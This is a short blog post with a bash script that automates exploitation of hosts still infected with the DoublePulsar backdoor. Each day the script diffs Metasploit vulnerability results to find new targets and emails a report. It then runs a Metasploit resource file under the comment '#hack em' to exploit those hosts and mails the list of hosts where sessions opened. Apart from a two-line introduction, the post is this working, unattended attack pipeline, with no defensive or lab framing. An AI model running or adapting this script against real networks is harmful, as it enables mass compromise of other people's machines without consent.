Wednesday, September 26, 2018

automate exploiting newly-found doublepulsar vulnerable hosts

i've written about how to automate discovery. let's go to the next level and automate reporting on and exploiting newly-discovered doublepulsar vulnerable hosts.

this would assume you have a previously created list of vulnerable host which
we're diffing off-of.
 #!/bin/bash  
 PROCESS=/root/doublepulsar.scan/exploit  
 TODAY=$(date '+%Y%m%d')  
 YESTERDAY=$(date -d "yesterday" '+%Y%m%d')  
   
 cd $PROCESS/  
   
 #dump vulns  
 msfconsole -x "color false ; vulns -o $PROCESS/vulndetect.$TODAY ; exit"  
 grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' $PROCESS/vulndetect.$TODAY \
> $PROCESS/vulnparsed.$TODAY  
 diff -u $PROCESS/vuln.$YESTERDAY $PROCESS/vulnparsed.$TODAY | grep + | grep + |grep -v @ \
|grep -v +++ |sed 's/+//g' > $PROCESS/vuln.$TODAY  
 msfconsole -x "color false ; spool $PROCESS/output.$TODAY ; use auxiliary/scanner/smb/smb_version;  
 set RHOSTS file:$PROCESS/vuln.$TODAY ; set thread 100; run; exit"  
 echo $DATE > $PROCESS/mail.$TODAY  
 cat $PROCESS/vuln.$TODAY $PROCESS/output.$TODAY >> $PROCESS/mail.$TODAY  
 mail -s "new doublepulsar vuln hosts $TODAY " me@in.hell < $PROCESS/mail.$TODAY  
 rm $PROCESS/vulnparsed.*  
 rm $PROCESS/vulndetect.*  
 rm $PROCESS/mail.$TODAY  
   
 cp $PROCESS/vuln.$TODAY /root/.msf4/thewicked  
   
 #hack em  
 kill -9 `ps -ef|grep msfconsole| awk '{print $2}'`  
 msfconsole -r "/root/.msf4/doublepulsar-loop.rc ; exit"  
 ls /root/.msf4/logs/sessions | grep $TODAY \
|grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' > $PROCESS/exploited.$TODAY  
 mail -s "new doublepulsar vuln hosts exploited $TODAY " me@in.hell < $PROCESS/exploited.$TODAY  
 rm $PROCESS/exploited.$TODAY  
   
 exit  

No comments: